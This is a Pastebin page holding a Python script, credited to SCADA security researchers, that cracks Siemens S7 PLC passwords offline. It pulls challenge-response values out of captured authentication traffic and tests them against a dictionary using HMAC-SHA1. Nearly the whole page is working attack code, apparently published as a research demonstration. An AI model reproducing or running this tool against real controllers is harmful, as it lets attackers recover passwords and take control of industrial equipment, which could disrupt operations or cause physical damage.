This week only. Pastebin PRO Accounts Christmas Special! Don't miss out!Want more features on Pastebin? Sign Up, it's FREE!
Guest

s7-brute-offline.py

By: scadastrangelove on Jan 16th, 2013  |  syntax: Python  |  size: 3.40 KB  |  views: 5,029  |  expires: Never
download  |  raw  |  embed  |  report abuse  |  print
Text below is selected. Please press Ctrl+C to copy to your clipboard. (⌘+C on Mac)
  1. """
  2. File: s7-brute-offline.py
  3. Desc: offline password bruteforsing based on challenge-response data, extracted from auth traffic dump file
  4.  
  5. Alexander Timorin, Dmitry Sklyarov
  6. http://scadastrangelove.org
  7.  
  8. Version: 0.1 (just for demo, don't kick my ass plz)
  9. """
  10.  
  11. import sys
  12. import hashlib
  13. import hmac
  14. from binascii import hexlify
  15. try:
  16.     from scapy.all import *
  17. except ImportError:
  18.     print "please install scapy: http://www.secdev.org/projects/scapy/ "
  19.     sys.exit()
  20.  
  21.  
  22. cfg_pcap_file = '/root/siemens/RE_S7/stop_cpu_cmd_right_pass_123.pcap'
  23. cfg_dictionary_file = 'dict.txt'
  24.  
  25. def get_challenge_response():
  26.     r = rdpcap(cfg_pcap_file)
  27.  
  28.     lens = map(lambda x: x.len, r)
  29.     pckt_lens = dict([(i, lens[i]) for i in range(0,len(lens))])
  30.  
  31.     # try to find challenge packet
  32.     pckt_108 = 0 #challenge packet (from server)
  33.     for (pckt_indx, pckt_len) in pckt_lens.items():
  34.         if pckt_len+14 == 108 and hexlify(r[pckt_indx].load)[14:24] == '7202002732':
  35.             pckt_108 = pckt_indx
  36.             break
  37.  
  38.     # try to find response packet
  39.     pckt_141 = 0 #response packet (from client)
  40.     _t1 = dict([ (i, lens[i]) for i in pckt_lens.keys()[pckt_108:] ])
  41.     for pckt_indx in sorted(_t1.keys()):
  42.         pckt_len = _t1[pckt_indx]
  43.         if pckt_len+14 == 141 and hexlify(r[pckt_indx].load)[14:24] == '7202004831':
  44.             pckt_141 = pckt_indx
  45.             break
  46.  
  47.     # try to find auth result packet
  48.     pckt_84 = 0 # auth answer from plc: pckt_len==84 -> auth ok
  49.     pckt_92 = 0 # auth answer from plc: pckt_len==92 -> auth bad
  50.     for pckt_indx in sorted(_t1.keys()):
  51.         pckt_len = _t1[pckt_indx]
  52.         if pckt_len+14 == 84 and hexlify(r[pckt_indx].load)[14:24] == '7202000f32':
  53.             pckt_84 = pckt_indx
  54.             break
  55.         if pckt_len+14 == 92 and hexlify(r[pckt_indx].load)[14:24] == '7202001732':
  56.             pckt_92 = pckt_indx
  57.             break
  58.  
  59.     print "found packets indeces: pckt_108=%d, pckt_141=%d, pckt_84=%d, pckt_92=%d" % (pckt_108, pckt_141, pckt_84, pckt_92)
  60.     if pckt_84:
  61.         print "auth ok"
  62.     else:
  63.         print "auth bad. for brute we need right auth result. exit"
  64.         sys.exit()
  65.  
  66.     challenge = None
  67.     response = None
  68.  
  69.     raw_challenge = hexlify(r[pckt_108].load)
  70.     if raw_challenge[46:52] == '100214' and raw_challenge[92:94] == '00':
  71.         challenge = raw_challenge[52:92]
  72.         print "found challenge: %s" % challenge
  73.     else:
  74.         print "cannot find challenge. exit"
  75.         sys.exit()
  76.  
  77.     raw_response = hexlify(r[pckt_141].load)
  78.     if raw_response[64:70] == '100214' and raw_response[110:112] == '00':
  79.         response = raw_response[70:110]
  80.         print "found  response: %s" % response
  81.     else:
  82.         print "cannot find response. exit"
  83.         sys.exit()
  84.  
  85.     return challenge, response
  86.  
  87. def calculate_s7response(password, challenge):
  88.     challenge = challenge.decode("hex")
  89.     return hmac.new( hashlib.sha1(password).digest(), challenge, hashlib.sha1).hexdigest()
  90.  
  91. if __name__ == '__main__':
  92.     print "using pcap file: %s" % cfg_pcap_file
  93.     challenge, response = get_challenge_response()
  94.     print "start password bruteforsing  ..."
  95.     for p in open(cfg_dictionary_file):
  96.         p = p.strip()
  97.         if response == calculate_s7response(p, challenge):
  98.             print "found password: %s" % p
  99.             sys.exit()
  100.     print "password not found. try another dictionary."
clone this paste RAW Paste Data